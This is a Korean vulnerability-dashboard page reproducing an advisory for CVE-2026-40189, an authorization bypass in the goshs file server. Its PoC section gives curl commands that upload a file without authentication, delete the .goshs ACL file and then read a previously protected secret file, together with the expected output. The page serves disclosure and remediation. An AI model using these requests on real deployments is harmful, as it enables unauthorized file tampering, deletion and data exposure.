Kestrel
대시보드로 돌아가기
CVE-2026-40189CRITICAL· 9.8MITRENVDGHSA대응게시일: 2026. 04. 10.수정일: 2026. 04. 15.

goshs has a file-based ACL authorization bypass in goshs state-changing routes

Auth

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.8critical

이론적 심각도 점수

EPSS
0.7%상위 52.5%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한3일 이내CISA SSVC 기준

즉시(3일 이내) 패치 — 최우선 대응

자동화 가능완전 장악외부 노출· KEV 미등재 · 자동화 가능 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.8CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

상세 설명

Summary

goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.

Details

The project README explicitly documents file-based ACLs as a security feature:

  • README.md:59 - "You can place a .goshs in any folder to apply custom ACLs"
  • README.md:61 - "You can apply custom basic auth per folder"

The read/list path correctly enforces .goshs:

  • httpserver/filebased.go:10-49 loads .goshs
  • httpserver/handler.go:68-91 calls findSpecialFile() for directories
  • httpserver/handler.go:94-101 calls findSpecialFile() for files
  • httpserver/handler.go:285-305 applies custom auth
  • httpserver/handler.go:545-565 enforces folder auth during directory rendering
  • httpserver/handler.go:590-630 enforces file auth and blocked entries during file serving

However, the state-changing routes bypass this logic entirely:

  • httpserver/server.go:94-100 routes multipart POST /.../upload directly to upload()
  • httpserver/server.go:105-109 routes PUT directly to put()
  • httpserver/handler.go:119-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:181-187 dispatches ?delete directly to deleteFile()
  • httpserver/updown.go:18-60 writes files for PUT without checking .goshs
  • httpserver/updown.go:63-165 writes files for multipart upload without checking .goshs
  • httpserver/handler.go:679-698 deletes files with os.RemoveAll() without checking .goshs
  • httpserver/handler.go:901-937 creates directories with os.MkdirAll() without checking .goshs

This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.

PoC

Environment used for verification:

  • Repository/module: github.com/patrickhener/goshs
  • Verified vulnerable tag: v2.0.0-beta.3
  • Also present in the v1.1.4 line based on code inspection
  • Local host: 127.0.0.1:18091

Build and setup:

text
1cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
2go build -o /tmp/goshs_acl_verify/goshs ./
3
4rm -rf /tmp/goshs_acl_verify/root
5mkdir -p /tmp/goshs_acl_verify/root/protected
6cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
7printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt
8
9/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091

In a second terminal:

bash
1# The protected folder initially requires auth
2curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'
3
4# Unauthenticated write into the protected folder succeeds
5curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
6 --data-binary 'injected via PUT' \
7 'http://127.0.0.1:18091/protected/put-created.txt'
8
9# Unauthenticated deletion of the ACL file succeeds
10curl -s -o /dev/null -w '%{http_code}\n' \
11 'http://127.0.0.1:18091/protected/.goshs?delete'
12
13# The previously protected file is now publicly accessible
14curl -s -o /dev/null -w '%{http_code}\n' \
15 'http://127.0.0.1:18091/protected/secret.txt'
16curl -s 'http://127.0.0.1:18091/protected/secret.txt'

Expected results:

text
1401
2200
3200
4200
5top secret
<img width="1280" height="657" alt="goshs_poc1" src="https://github.com/user-attachments/assets/37576067-fa90-44f6-8fe5-dcb7c96b9704" />

Note: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.

PoC Video for reference:

https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7

Impact

This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:

  • create or overwrite files inside a folder that should require authentication
  • create directories inside the protected folder
  • delete arbitrary files reachable through the vulnerable route inside that protected folder
  • delete the .goshs policy file itself
  • read previously protected files once the policy file has been removed

In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.

Remediation

  1. Enforce .goshs authorization checks for all state-changing operations, not just read/list flows. Before PUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies acl.Auth.
  2. Protect .goshs as a special file in mutation handlers. The application already prevents serving .goshs; it should also reject deletion, overwrite, or replacement of .goshs through HTTP routes unless the request is properly authorized.
  3. Add regression tests covering protected folders for every mutation path. The test suite should verify that PUT, POST /upload, ?delete, and ?mkdir all fail without valid credentials when a .goshs file is present.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.